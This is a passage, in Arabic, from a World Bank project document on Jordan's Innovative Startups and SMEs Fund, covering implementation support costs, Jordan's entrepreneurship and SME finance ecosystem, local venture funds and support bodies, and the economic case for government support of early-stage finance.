الفرعية خطة دعم التنفيذ ومتطلبات الموارد الفترة الزمنية محور التركيز المهارات المطلوبة الموارد التقديرية الدور الشريك ً االثنا عشر شهرا األولى مراجعة طلبات تقديم العروض لمدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة، بما في ذلك معايير التقييم وتقرير االختيار. مراجعة استراتيجية االستثمار وخطة عمليات صندوق الشركات الناشئة والمؤسسات، بما في ذلك تعيين فريق العمل. أخصائي إدارة المشروع متخصصين استشاريين في برامج صناديق من مؤسسة التمويل الدولية في إدارة صناديق رأس المال المخاطر استشاريون ومتخصصون من فريق عمل البنك في مجال دعم النظام البيئي الشامل أخصائي المشتريات أخصائي اإلدارة المالية أخصائي الضمانات الوقائية 180 ألف دوالر 12-48 شهر تنفيذ أنشطة التمويل وأنشطة تدفق الصفقات أخصائي إدارة المشروع أخصائي المشتريات أخصائي اإلدارة المالية أخصائي الضمانات الوقائية 150 ألف دوالر البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 73 غير ذلك إعادة الهيكلة المحتملة أخصائي إدارة المشروع أخصائي المشتريات أخصائي اإلدارة المالية استشاري قانوني 150 ألف دوالر مجموعة المهارات المطلوبة المهارات المطلوبة عدد أسابيع العمل عدد الرحالت تعليقات قائد فريق المهام 40 أسبوع 12 6 أسبوع 24 F&M team members 3 أسبوع 10 T&C team members دعم العمليات 12 أسبوع 0 اإلدارة المالية 12 أسبوع 0 فريق العمل المحلي مدعوم المشتريات 12 أسبوع 2 فريق العمل المحلي بفريق العمل اإلقليمي مهارات قانونية 3 أسبوع 0 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 74 1. Opportuni… 2. Start-up Skills 3. Risk Acceptance 4. Networking 5.Cultural Support 6. Opportuni… 7. Technolog… 8. Human Capital 9. Competition 10. Product Innovation 11. Process Innovation 12. High Growth 13. Internatio… 14. Risk Capital Jordan MENA World Average ملحق رقم 4 :النظام البيئي الشامل لريادة األعمال وتمويل الشركات الناشئة والمؤسسات الصغيرة والمتوسطة في األردن أوال- استعراض موجز للنظام البيئي الشامل لريادة األعمال وتمويل المؤسسات الصغيرة والمتوسطة في األردن 1 .يضع المؤشر العالمي لريادة األعمال )وهو المؤشر األكثر شموال لقياس أداء النظم البيئية الوطنية حول العالم كل عام( األردن في المرتبة الرابعة والستين بين مائة واثنتان وثالثين دولة، وفي المرتبة العاشرة في منطقة الشرق األوسط وشمال أفريقيا )انظر الشكل رقم 4 .)ويكشف المؤشر أن األردن تفوق المعدالت العالمية في إتاحة الفرص ومهارات الشركات الناشئة والتواصل والدعم الثقافي وابتكار المنتجات ومؤشرات النمو المرتفع، ولكن تلك الوتيرة لم يصاحبها زيادة في رأس المال المحلي، خالفاً المخاطر للمعتاد عندما يسود االبتكار وتأسيس الشركات الناشئة. فبالمقارنة بالعالم بوجه عام وبمنطقة الشرق األوسط وشمال أفريقيا على وجه التحديد، نجد أن معدالت األردن في اإلقبال على المخاطر واالستثمار في رأس المال المخاطر متدنية للغاية. ولذلك فإن الكثير من هيئات دعم المؤسسات تشير إلى أن عدم إتاحة التمويل قد زاد من صعوبة تأسيس الشركات الناشئة عالية الكفاءة من حيث الكم والكيف، فأغلب الشركات الناشئة األردنية تتجه إلى دبي حيث يمكنها إيجاد مستثمرين، رغم احتياج االقتصاد األردني إليها. شكل رقم 4-1 .مقارنة على مستوى الركائز بين األردن ودول منطقة الشرق األوسط وشمال أفريقيا والمعدل العالمي )المؤشر العالمي لريادة األعمال - 2016.) المصدر: قاعدة بيانات المؤشر العالمي لتنمية المؤسسات، 2016 في استيعاب التكنولوجيا والتدويل ورأس مال 2 .وفضال عن ذلك، فإن المؤشر العالمي لريادة األعمال يعطي األردن تقييماً متدنياً البشري، ويرجح أن تدني هذا العامل األخير يرجع إلى كثرة العمالة األردنية الماهرة بالخارج. ويعكس ضعف استيعاب التكنولوجيا والتدويل ميل المؤسسات األردنية المتوسطة والصغيرة إلى األنشطة الصناعية التقليدية )شركات تجارة ومصانع صغيرة ومشروعات بيع بالتجزئة أو تقديم خدمات( وأغلبها أعمال تجارية عائلية ال تعمل في سبيل التوسع، وإنما تحاول الحفاظ على الوضع القائم. ومن شأن دعم االبتكار وريادة األعمال )مثال عن طريق تطوير األنواع الالزمة من تمويل المخاطر وتوفير بيئة قانونية وتنظيمية مواتية( أن يساهم في رفع تنافسية األردن وتحقيق نمو مستدام. ويلخص الجدول 1-2 أدناه أبرز التوصيات لمعالجة التحديات التي تواجهها الصناديق االستثمارية في األردن. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 75 جدول رقم 4-1 .توصيات لتحسين القوانين المحلية التي تنظم عمل صناديق االستثمار الخاص/ رأس المال المخاطر التوصيات القضايا التي ينبغي عالجها/ الحالة اعتماد هيكل جديد لشركات االستثمار. لبعض القيود التي يفرضها قانون ً هيكل الصندوق: ال يتوافر هيكل الصندوق في األردن نظرا الشركات. ومع أن نموذج الشركات المؤسسة بنظام الشراكات المحدودة متاح )من الناحية النظرية( عن طريق الشراكات المحدودة والشراكات المحدودة باألسهم، فإن ثمة متطلبات يقتضيها قانون الشركات تجعل من غير العملي، إن لم يكن مستحيال، تنفيذ البنية التقليدية للصناديق في األردن. ومن هذه القيود: )أ( اشتراط كون الشريك المتضامن في الشراكة المحدودة شخص ال شركة؛ )ب( اشتراط وجود شريكين متضامنين في الشراكة المحدودة باألسهم؛ )ج( اشتراط مشاركة كل شريك متضامن في الشراكة المحدودة باألسهم بنسبة 30 %من القيمة اإلجمالية للصندوق. ولذلك فإن اديق التي ترغب في أن تؤسس وفقاً الصن لبنية الشركات األردنية فقط )"الصناديق المحلية"( تؤسس في هيئة شركة مساهمة خاصة، وهي نوع من الشركات ذات المسئولية المحدودة التي تسمح بإنشاء فئات األسهم. الحالة: يود مراقب الشركات المسئول عن قانون الشركات أن يعدل القانون أو يسن تشريعات خاصة لتنظيم مجال االستثمار الخاص واالستثمار في رأس مال المخاطر، وقد أعرب عن اهتمامه بطلب المساعدة الفنية في هذا المجال من البنك الدولي. الضرائب: يعد إنشاء هيئة معنية بالضرائب العابرة من أهم مقومات بنية الصناديق، ولكن هيكل الشركات المساهمة الخاصة التي تعتمدها الصناديق المالية ال تعد من هذه الهيئات. وتنص المادة الثانية من قانون ضريبة الدخل على أن جميع الهيئات المسجلة في األردن خاضعة للضرائب؛ أي أن الصناديق المحلية عليها تقديم عائداتها الضريبية ودفع الضرائب على أرباح مزاولة أعمالها. ويمثل هذا تحديا حيث إن أرباح االستثمارات التي تجنيها الصناديق المحلية في إطار نشاطها االستثماري ً؛ المعتاد سوف تعد ضمن أرباح مزاولة أعمالها وبذلك فإنها تخضع لضريبة الدخل. تحسين أنظمة صناديق االستثمار البديلة )بما في ذلك تحسين القواعد التي تنظم عمل الشراكات العامة ومديري الصناديق(. تخضع األنظمة المتعلقة بكافة أنواع الصناديق لوالية مراقب الشركات، بما فيها إصالحات أنظمة االستثمار الخاص واالستثمار في رأس المال المخاطر وإصالحات قانون الشركات. أما إذا سجلت الشركات أنفسها ضمن شركات التجارة في األوراق المالية فإنها تخضع حينئذ لهيئة سوق المال. وكانت هذه اللجنة قد أصلحت قانون األوراق المالية بحيث يتسم بالمرونة مع أنواع الصناديق المختلفة، وقد وضع خارطة طريق لإلصالح والتنفيذ بمساعدة المصرف األوروبي لإلنشاء . والتعمير، وسوف يعرض القانون على البرلمان قريباً تحديث قوانين اإلفالس لتبسيط عملية التصفية بالنسبة للشركات التي تندرج ضمن حافظة الصندوق. استكملت وزارة الصناعة والتجارة في اآلونة األخيرة قانون اإلفالس الجديد بمساعدة مؤسسة التمويل الدولية، ويتوقع عرض هذا القانون على مجلس الوزراء ألغراض اعتماده في أقرب وقت ممكن. تطبيق المعايير الدولية الجديدة لإلبالغ المالي وقواعد المحاسبة التي تستهدف المؤسسات الصغيرة والمتوسطة والشركات التي تندرج ضمن حافظة الصندوق. يخضع هذا البند لسلطة مراقب الشركات، وقد أعرب عن رغبته التامة في فعل أي خطوات الزمة لدعم المشروع وبيئة األعمال، لكن ينبغي في المقام األول بناء القدرات وتقديم الدورات التدريبية. سوف تصبح ممارسة األعمال أكثر سهولة إذا تمتلك وزارة االقتصاد والتجارة سلطة اتخاذ هذا القرار. وقع األردن على معاهدة أبوستيل. حصول المؤسسات الصغيرة والمتوسطة على االئتمان 3 .يهيمن القطاع المصرفي على السوق المالي، وهو قطاع ضعيف التنافسية ويؤدي دور محدود في الوساطة المالية، وقد أدى التدهور االقتصادي إلى ازدياد اقتراض الحكومة من البنوك، كما أدى ازدياد القروض غير العاملة إلى عرقلة نمو االئتمان الذي يقدمه القطاع الخاص إلى المؤسسات الصغيرة والمتوسطة. وفي ضوء هذه الظروف، تميل البنوك إلى تحاشي إقراض هذه المؤسسات، مفضلةً عليهم العمالء األكثر خبرة. ولم يقتصر أثر زيادة االقتراض الحكومي من البنوك على مزاحمة القطاع بال شك على سيولة النظام البنكي، وال سيما سيولة البنوك الثالثة الك الخاص وحسب، بل إنه سيؤثر أيضا برة التي ال تزال في ً لنمو االتجاه المحافظ بين البنوك الكبيرة في مجال اإلقراض، فليس من بديل أمام الوقت الحالي تمتلك سيولة ال بأس بها. ونتيجةً المؤسسات الصغيرة والمتوسطة للحصول على االئتمان سوى البنوك الصغيرة والمتوسطة التي تقرض عادًة المؤسسات التي اً تواجه ضعوط كبيرة للحصول على سيولة. 4 .بلغت القيمة اإلجمالية لمرافق االئتمان في البنوك األردنية 21 مليار دينار أردني في 2015 ،أي 7.44 %من إجمالي أصول البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 76 البنوك، وهو ما يعكس الممارسات المحافظة للبنوك في منح القروض. وال تزال نسبة ائتمان القطاع الخاص من الناتج المحلي اإلجمالي منخفضة نسبية )70 ،)%يخصص أغلبه للشركات الكبرى. ومع أن البنوك هي المصدر الرئيسي للتمويل الخارجي الذي تحصل عليه المؤسسات الصغيرة والمتوسطة، فإن 11 %فقط من قروض البنوك يمنح لهذه المؤسسات، مقارنة بالنسب السائدة في األسواق الناشئة التي تتراوح بين 25 %و 40 .%وتوضح قاعدة بيانات الفجوة التمويلية في المشروعات لعام 2013 التابعة لمؤسسة التمويل الدولية سيادة عدم اإلنصاف في حصول الشركات على االئتمان، إذ يؤول أغلب التمويل البنكي إلى المؤسسات األكبر واألقدم بين المؤسسات الصغيرة والمتوسطة. شكل 4-2 .توزيع المرافق االئتمانية المصدر: تقرير االستقرار المالي 2014 ،البنك المركزي األردني 5 .لم يتم اإلنتهاء من وضع خطط ضمان تقديم االئتمان للمؤسسات الصغيرة والمتوسطة بالكامل لكنها تسير نحو التحسن. تقدم الشركة األردنية لضمان القروض وشركة االستثمار الخاص الخارجي في الوقت الحالي برامج لضمان القروض، وتوجه في األغلب لألعمال التجارية الراسخة التي تعمل منذ 3 سنوات على األقل. وقد أنشأت شركة االستثمار الخاص الخارجي صندوق ضمانات ائتمانية جزئية بقيمة 250 مليون دوالر أمريكي تديره مؤسسة اإلسكان التعاوني تحت مسمى الشركة األردنية لضمان القروض. وعاب مساهمة هذه الشركة في إقراض المؤسسات الصغيرة والمتوسطة انخفاضها، إذ بلغت 18.5 %فقط، لكن النسبة أخذت في الزيادة على مدار السنوات الثالثة أداة خاصة بتقديم الضمانات االئتمانية إلى الشركات ال الماضية. كما أطلقت الشركة مؤخرا ناشئة )المؤسسة منذ عام أو أقل(، لكن الوقت ً مبكر للحكم على أداء تلك األداة. القطاع الحكومي، 42% المؤسسات الصغيرة والمتوسطة، 8% قطاع اإلسكان والعقارات، %21 مرافق البيع بالتجزئة %21 الشركات 8% البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 77 مربع النص رقم 4-2 .قائمة بصناديق رعاة األعمال ورأس مال المخاطر في األردن )قائمة موجزة ال تضم الجميع(. صندوق البادية إمباكت: فرع شركة سيليكون بادية في الشرق األوسط. يبلع رأس ماله 33 مليون دوالر أمريكي، بالتعاون مع مستثمرين دوليين بنظام الشراكة المحدودة )مثل سيسكو والبنك األوروبي لالستثمار والحكومة األسبانية(، باإلضافة إلى صندوق الملك عبد هللا الثاني للتنمية. يهدف الصندوق إلى االستثمار في شركات اإلنترنت والهواتف المحمولة ووسائل اإلعالم الرقمية في مراحل التأسيس والمراحل المبكرة ومرحلة النمو. بقيمة ً كما أطلقت شركة بادية بالتعاون مع الشركة التكنولوجية القابضة لتسريع النمو صندوقا 15 مليون دوالر أمريكي لالستثمار في إنشاء ً جديدا صناديق جديدة لرأس مال المخاطر وتدريبها ودعمها، بحيث تستثمر في الشركات في مراحل نموها المبكر، وتتراوح قيمة هذه الصناديق بين 500 ألف و 5.1 مليون دوالر أمريكي. ومضة مينا فينتشرز )صندوق إقليمي(، ديسمبر 2014 :ومضة هي صندوق إقليمي برصيد افتتاحي يتخطي 70 مليون دوالر أمريكي بمعاونة مؤسسة التمويل الدولية باعتبارها مموال رئيسياً فيه، ويحظى بحصة استثمارية تتراوح بين مليون و 5 مليون دوالر أمريكي موزعة بالتساوي بين األردن ولببنان ومصر، وقد يخصص بعض االستثمارات لدبي إذا سنحت الفرصة. مؤسسة500 OASIS أويسس 500 :معجلة أعمال تدعمها الحكومة والشركة التكنولوجية القابضة لتسريع النمو وصندوق الملك عبد هللا الثاني للتنمية ومستثمرون آخرون، تأسس في 2009/2010 بهدف توفير الخبرة في مجال ريادة األعمال ودفع الشركات الناشئة بتمويلها في مرحلة التأسيس. وقد بدأ هذا المعجل عمله مركزا وات استطاع معجل ً على تدريب فرق الشركات الناشئة وتوجيهها وإرشادها. وفي غضون ثالث سن فريقا 10 آالف و 30 ألف دوالر امريكي ومعادل عيني ً أويسس 500 أن يستثمر في 60 في مرحلة تأسيس شركاتهم الناشئة بمبالغ تتراوح بين إلى شبكات رعاة األعمال وصناديق االستثمار ف ي من معسكرات التدريب يصل إلى 100 يوم. وفي ختام البرنامج، قدمت الشركات عروضاً ،ً رأس مال المخاطر، واستطاع بعضهم الحصول على تمويل لمتابعة أعمالهم بإجمالي 8 مليون دوالر أمريكي. أعيدت هيكلة أويسس 500 مؤخرا في هيئة صندوق )صندوق عام/ شراكة محدودة( وتم توسعة نطاق برنامجه ليشمل اإلمارات العربية المتحدة والمملكة العربية ويعمل حالياً ً السع على مواكبة الركب المعرفي، وإنما امتد كذلك لتعميم تسريع النمو كي تتمكن الشركات المحلية من منافسة ودية. ولم يعد هدفه مقتصرا بقيمة ً نظيراتها الدولية في الواليات المتحدة والعالم. ولذلك أنشأت في اآلونة األخيرة صندوقا 6 مليون دوالر بالتعاون مع المستثمرين ً جديدا المحليين، ويستثمر في محورين هما: )أ( المحور األول لالستثمار في الشركات في مراحل التأسيس المشتركة في البرنامج، وتتراوح الحصة االستثمارية بين 10 آالف و 50 ألف دوالر،وتحصل 45 شركة على تمويل من هذا المحور في الوقت الحالي؛ )ب( محور النمو، ويركز على الشركات الراسخة التي تسعى لتمويل يتراوح بين 50 ألف و 500 ألف دوالر، كما يقدم حاضنات أعمال وخدمات إرشادية وتوجيهية. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 78 مربع رقم 4-1 .موجز بالبرامج الفاعلة في دعم رواد األعمال في األردن مركز الملكة رانيا لريادة األعمال. هذا المركز هو مؤسسة غير ربحية تأسست في 2004 بهدف دعم النمو االقتصادي عبر تقديم خدمات شتى في ً من مجمع الملك الحسين لألعمال(. في مجال بيع التقنيات )يشكل المركز جزءا ً تطوير ريادة األعمال، وتحديدا حاضنة األعمال األردنية للشركات الناشئة )آي بارك(: حاضنة أعمال في مجال تكنولوجيات معلومات االتصاالت، تأسس أوال تحت مظلة المجلس األعلى للعلوم والتكنولوجيا، ويشكل اآلن جزءا األعمال، ً من مجمع الملك الحسين لألعمال، ويقدم الخدمات المعتادة من الحاضنات في تطوير ريادة ويحظى بدعم كل من مركز الملكة رانيا للريادة ومكتب تتجير الملكية الفكرية وشبكة بداية لرعاة األعمال. شبكة البادية لرعاية األعمال. تأسست هذه الشبكة في 2009 تحت رعاية مركز الملكة رانيا لريادة األعمال وحاضنة األعمال األردنية للشركات ً الناشئة )آي بارك( والمؤسسة العربية للعلوم والتكنولوجيا، واستطاعت اجتذاب 30 في عالم االستثمار والتنمية االقتصادية باألرد اسما ن. ً شهيرا وتتعاون بداية تعاونا ون في األردن ً وثيقاً مع رواد األعمال؛ فتخصص لهم الموارد الالزمة وتقدم لهم التوجيه الالزم. ويتميز رعاة األعمال والمدرب بالنشاط الدائب، وتشهد على ذلك المبالغ التي جناها خريجو معجل أويسس 500( 8 مليون دوالر حتى اآلن( والحصص االستثمارية الصغيرة للشركات الناشئة في مرحلة التأسيس )بين المتاحة في السوق حاليا 10 آالف و 25 ألف دوالر(. وتشير التقديرات إلى أن بداية سوف تضخ 5ً مليون دوالر إضافية في النظام البيئي األردني الشامل لالستثمار في الشركات في مراحل التأسيس والمراحل المبكرة على مدار السنوات الثالثة أو األربعة القادمة، أي أن إجمالي ما تضخه سيبلغ 13 مليون دوالر. مؤسسة إنديفر األردن: تتبع شركة إنديفر شبكة من كبار المستثمرين يؤلفون مجلس إدارتها ويستثمرون في الشركات التي بلغت استراتيجة نموها م إلى هذه الشركات خدمات التوجيه والتواصل والتسويق، وتعقد أيضاً الذروة والتي تدر عائدات تفوق مليون دوالر على األقل. وتقد منافسات الختيار خطط األعمال األفضل وأنشطة مجتمعية بهدف دعم الشركات الناشئة الصغيرة. مؤسسة إنجاز: تلبي برامج إنجاز طائفة كبيرة من احتياجات الشباب األردني، وتكمل التعليم والتدريب الذي يتلقونه في المؤسسات التعليمية التقليدية عن طريق برامج تنمية المهارات الشخصية والمهنية الالزمة، لكي يستطيع أولئك الشباب خوض المنافسة في سوق الوظائف وريادة األعمال في القطاع الخاص. وتساعد إنجاز طالب الجامعة في األردن على إنشاء مشروعات اجتماعية وإدارتها وتطوير مهاراتهم في القيادة وريادة األعمال االجتماعية من خالل برامج تدريبية وتوجيهية تحت إشراف األعمال التجارية الناجحة وقادة المجتمع في البالد. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 79 مربع رقم 4-3 :األطراف المعنية الرئيسية جمعية إنتاج: جمعية شركات تقنية المعلومات واالتصاالت إنتاج هي جمعية لدعم قطاع تكنولوجيا المعلومات واالتصاالت والخدمات القائمة على تكنولوجيا المعلومات، تأسست عام 2000 بهدف تحسين آليات عمال قطاع تكنولوجيا المعلومات واالتصاالت األردني وسوق الخدمات القائمة على تكنولوجيا يصبح قطاعاً المعلومات، وتطوير األنشطة المتعلقة بذلك. تهدف مبادرة ريتش التي أطلقتها الجمعية إلى رعاية قطاع تكنولوجيا المعلومات واالتصاالت كي يهدف إلى التصدير وينافس على المستوى الدولي عن طريق وضع إطار تنظيمي وتوفير بنية تحتية لتمكين المشروعات وتنفيذ بر حيويا امج للنهوض بها ً وتطوير الموارد البشرية وتمويل المشروعات الصغيرة والمتوسطة. مركز تنمية األعمال التجارية: تأسس مركز تنمية األعمال التجارية في 2004 ،وهو منظمة غير ربحية تهدف لرعاية التنمية االقتصادية واإلصالحات الحكومية في األردن والشرق األوسط. ويلتزم المركز بما يلي: تشجيع رعاية األعمال واالبتكار، وخلق فرص عمل وبناء قدرات الشباب والنساء والمهنيين، خلق الشراكات بين القطاعين العام والخاص وإدارتها وتعزيزها والتشجيع عليها، وتعزيز تنافسية المؤسسات الصغيرة والمتوسطة واستدامتها وقدرتها على التصدير، ورعاية الروابط المالية بين المؤسسات الصغيرة والمتوسطة والموارد المالية، وتصميم برامج التنمية والوكاالت المانحة وإدارتها، وعقد صالت تعاون وطيدة مع الجامعات الدولية عبر تبادل الطالب وتنفيذ البرامج الدولية، وتشجيع حس المسئولية االجتماعية واالشتراك المجتمعي. أهم الهيئات الحكومية والهيئات التي يمولها المانحون مؤسسة لتنمية المشروعات تتبع الحكومة األردنية، وتتلقى دعماً المؤسسة األردنية لتمويل المشاريع االقتصادية: من االتحاد األوروبي، وتتخذ مبادرات دعماً بهدف تقديم المنح إلى المشروعات الصغيرة والمتوسطة العاملة في قطاع الخدمات لتعزيز تنافسيتها وقدرتها. وقد قدمت المؤسسة حتى اآلن )2014) يقدر بـ 3.13 مليون يورو لـ 268 جهة مستفيدة، ويبلغ متوسط المنح 50 ألف يورو، ووفرت 1056 فرصة عمل في أنحاء البالد. صندوق الملك عبد هللا الثاني للتنمية: يركز الصندوق على برامج بناء القدرات في األردن من خالل عدة خدمات ومبادرات مثل:  مختبر األلعاب: صمم لتلبية احتياجات مطوري األلعاب ومصمميها  برنامج أويسس 500 لتعجيل التمويل  المنافسات والمنح المقدمة للشباب البنك األوروبي لالستثمار وشركة سيسكو والبنك األوروبي لإلنشاء والتعمير: استثمرت جميع مؤسسات التمويل الدولية هذه في صندوق بادية إمباكت المعني بالمؤسسات الصغيرة والمتوسطة. جمعية الرواد الشباب: أطلقت الجمعية خدمة للتواصل بشأن تمويل رأس المال المخاطر بهدف تيسير إنشاء المشروعات الصغيرة والمتوسطة ودعم القائم منها، والهدف األساسي للجمعية هو مساعدة رواد األعمال في االستفادة من أفكارهم عبر توجيههم على أيدي مجلس استشاري قيد التشكيل مختص بالتواصل مع المستثمرين في رأس المال المخاطر على المستوى المحلي واإلقليمي والدولي. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 80 ثانياً. األساس النظري للمساعدات الحكومية لدعم الشركات الناشئة والمؤسسات الصغيرة والمتوسطة. 6 .وهناك ثالثة أسباب متضافرة وراء تقديم األسواق تمويل أقل من الالزم للشركات في المراحل المبكرة: أال وهي: المعلومات غير المتماثلة )لدى األطراف المعنية( واإلخفاقات المؤسسية واإلخفاق في التنسيق. ويتعين على الحكومة اتخاذ خطوات لحل كل منها، سواء كان ذلك بإصالح السياسات أو بتقديم الدعم المالي. 7 .تعرف المعلومات غير المتماثلة بأنه وضع يجهل فيه بنك أو مستثمر المعلومات الالزمة كي يتخذ قراراً مدروساً بشأن مشروع جديد، وفي الوقت نفسه يتمتع رائد األعمال بمعلومات أدق حول إمكانات مشروعه وقدراته، ويؤدي هذا الوضع إلى سلوكين متعلقين بالسوق: االختيار غير الموفق والتعرض للمخاطر المعنوية. أ( االختيار غير الموفق. عندما ال تستطيع البنوك والمستثمرين من القطاع الخاص االطالع على المعلومات الالزمة لتقييم مخاطر االستثمار في شركة جديدة تقييما م يضطرون إلى تسعير ً الئقاً )ال بيانات حول سجل الشركة أو عائداتها(، فإنه لمتوسط يوازن بين مخاطر العجز عن السداد وتكاليف المعامالت الباهظة مع مراعاة بذل نفقات اإلقراض أو التمويل وفقاً العناية الواجبة وتقديم الدعم. ولذلك يسعى رواد األعمال الذين يعرفون حجم المخاطرة إلى حلول أو تخارجات أخرى تبقي الشركات عالية المخاطر في السوق ألنها أكثر ميال إلى دفع النفقات الباهظة. لكن ذلك يرفع مخاطر العجز عن للغاية فتعزف عنه أغلبية الشركات الناشئة والمؤسسات الصغيرة والمتوسطة. وبالتالي، السداد إلى أن يصير التمويل مكلفاً فإن السوق ال يقدم التمويل بكلفة تكافئ المخاطر الحقيقية للشركات، وإنما ترفع تكلفة التمويل إلى فتنسحب أغلبية المشروعات الصغيرة والمتوسطة من السوق، مما يضيّق الحصة السوقية للبنوك ويحصر التمويل في الشركات ذات المخاطر المنخفضة للغاية. ب( أما المخاطر المعنوية، فتقع أيضاً عند عدم تماثل المعلومات، حيث يتمتع رائد األعمال بخبرة أعمق حول مكامن الضعف والقوة في مشروعه من الدائن أو المستثمر، لكنه في هذه الحالة يقرر أن يجازف أكثر أو أن يحقق ربحاً على لضمان استرداد قيمة باهظاً ة ألنفسها من هذا النوع من المخاطر، رهناً ً حساب الدائن أو المستثمر. وتقتضي البنوك، حماي المستثمرون حصصاً القرض، بينما يشترط أكبر في الشركة )أي أنهم يقللون من قيمتها( كي يسيطروا على عملية اتخاذ القرار أو يؤثروا فيها، وهو ما ترفضه شركات كثيرة. وللحد من أضرار عدم تماثل المعلومات، وبالتالي من أضرار االختيار غير الموفق والمخاطر المعنوية، ال بد من إنشاء بنية تحتية مالية متينة. وتشمل أدوات البنية التحتية المالية إنشاء سجل ائتماني ذو كفاءة يسمح للشركات بتسجيل تاريخها االئتماني، باإلضافة إلى سن قوانين إلدارة حاالت اإلفالس، وضمان حقوق المستثمرين من األقليات، ووضع نظام لإلعسار، وإنفاذ العقود، وضمان حقوق الملكية. جميع هذه الخطوات من شأنها أن تمحو شكوك المستثمرين، وكذلك توضيح ما يمتلكه المستثمرين بالضبط وما يستطيعون استرداده، . فيقيمون المخاطرة تقييماً دقيقاً ويعالج البنك الدولي وصندوق النقد الدولي عبر برامجهما ومبادراتهما األخرى )مثل 31 برنامج الحوار مع القطاع المالي والبرنامج القائم على النتائج وبرنامج صندوق النقد الدولي( بعض هذه المشكالت. 8 .أدى اإلخفاق المؤسسي إلى ضعف البنية التحتية المالية بالنسبة لألعمال التجارية ومناخ االستثمار. تتفاقم اإلخفاقات في االستفاد المؤسسية عادة من عدم تماثل المعلومات، ومع ذلك، فقد حقق األردن تقدما ة من بعض أدوات البنية التحتية المالية؛ ً فعلى سبيل المثال، أنشأت في عام 2016 شركة للمعلومات االئتمانية وبدأت مزاولة أعمالها في اآلونة االخيرة، كما وضع نظام للدفع في أنحاء البالد يدعى "إي فواتيركم" ومنصة للدفع عن بعد تدعى "البدالة الوطنية للدفع بواسطة الهاتف النقال، وتهدف كل هذه المشروعات إلى تخفيض تكاليف المعامالت وتحسين فعالية الدفع وتحويل االئتمان إلى الشركات الناشئة. وسوف تجرى إصالحات على قانون المعامالت المأمونة بعد عرضها على البرلمان، وسوف يعرض على مجلس الوزراء قانون جديد إلدارة حاالت اإلفالس. وباإلضافة إلى ذلك، أعرب مراقب الشركات بوزارة الصناعة والتجارة احتياج األردن إلى المساعدة الفنية من البنك الدولي في صياغة مرسوم جديد لتيسير هيكلة االستثمارات الخاصة وصناديق االستثمار في رأس مال المخاطر. وقد تستفيد الحكومة من المشروع المقترح باعتباره منصة لدعم تمرير اإلصالحات القانونية الالزمة عن طريق اتباع نهج قائم على التشاور مع المستفيدين. ومع أن توفير بيئة قانونية وتنظيمية الئقة من أبرز عوامل جذب المستثمرين في التعامل مع بيئة مألوفة ومفهومة لهم، ويتضح ذلك الخارجيين، فإن المستثمرين المحليين واإلقليميين ال يرون بأسا في زيادة ً االستثمارات في الشركات الناشئة في مرحلة التأسيس والمراحل المبكرة في المنطقة على مدار السنوات الماضية. ولكن ازدياد اهتمام الحكومات بهذا المجال وانخراطهم المطرد فيه صار حافزاً إلجراء اإلصالحات الالزمة؛ فقد استثمرت اإلمارات العربية المتحدة، مثال، مبالغ هائلة وأجرت إصالحات كبيرة لتحويل البالد إلى مركز لرواد األعمال واالستثمار في رأس مال المخاطر. ومما سبق نرى أنه ال مناص من توفير بيئة قانونية وتنظيمية ذات كفاءة، لكن االقتصار على وضع قانون للمعامالت المأمونة ونظام إلدارة حاالت اإلفالس ليس حال ناجعا لعدم ً ألز مة االختيار غير الموفق. التي تواجهها الشركات الناشئة نظراً ومن ناحية أخرى فإن تحسين حماية المستثمرين يتيح لرواد األعمال تحسين وضعهم أثناء المفاوضات. 31 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 81 وجود سجالت لها مما يزيد مخاطر االستثمار فيها وارتفاع تكاليف المعامالت الالزمة لضمان استمراريتها. لذلك ال بد من إنشاء سوق متطور لالستثمار في رأس مال المخاطر الشركات الناشئة في المراحل المبكرة، ويعتمد ذلك على قيام نظام بيئي شامل يشمل هيئات دعم مالية وغير مالية، وجميع هذه العناصر متضافرة يعتمد بعضها على بعض، وفعالية أي عنصر ووفرته تعضد نجاح العناصر األخرى. 9 .اإلخفاق في التنسيق: يشير اإلخفاق في التنسيق إلى وضع يخفق فيه مجال االستثمار في رأس المال المخاطر أن يتطور بسبب ضعف النظام البيئي الشامل، وذلك لعدة أسباب منها عدم وجود عدد كاف من الشركات الناشئة الواعدة الجاهزة لالستثمار، وعدم وجود رعاة أعمال لدعم تلك الشركات في المراحل المبكرة، وعدم وجود المحامين القادرين على التفاوض في الصفقات واالتفاقات التي تبرم مع شركاء التنفيذ، وعدم وجود المهنيين المتخصصين في مجال االستثمار، وعدم وجود أسواق متطورة ؛ ولكن تلك المشكالت ال يمكن حلها دون نهضة مجال االستثمار في رأس المال المخاطر. لكن مجال استثمار رأس 32 للتخارج المال في األردن يركز في الوقت الحالي على االستثمار في كبرى صفقات االستثمار في رأس المال الخاص، أما االستثمار في رأس المال المخاطر فال يأبه به إال القليل. وفي العادة تواجه مشكلة اإلخفاق في التنسيق باتباع آلية تقوم الحكومة من خاللها ن يتطور المجال تماماً بضخ مؤقت لرأس المال عبر مرفق لمشاركة المخاطر مع المستثمرين من القطاع الخاص إلى أ ويستغني عن تلك المساعدات. وقد استخدمت هذه اآللية في أستراليا والبرازيل والهند وإسرائيل والواليات المتحدة األمريكية والمملكة المتحدة وكندا. حاالت التخارج: ال تعتبر العروض العامة األولوية، بطبيعة الحال، من استراتيجيات التخارج القابلة لالستمرارية في معظم االقتصادات الناشئة ذات 32 أسواق رأس المال المتأخرة، ولذلك فإن صناديق االستثمار الخاص/ رأس المال المخاطر تميل لالعتماد في تسهيل التخارج على المبيعات إلى الرعاة . الماليين االستراتيجيين او الصكوك التي تسدد ذاتياً البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 82 ملحق رقم 5 :البرنامج الحكومي الذي أوصى به مجلس السياسات االقتصادية والذي اعتمده مجلس الوزاراء في سبتمبر/ أيلول 2016 تمويل الشركات الناشئة  إنشاء صندوق لتمويل رأس المال المخاطر بمبلغ 100 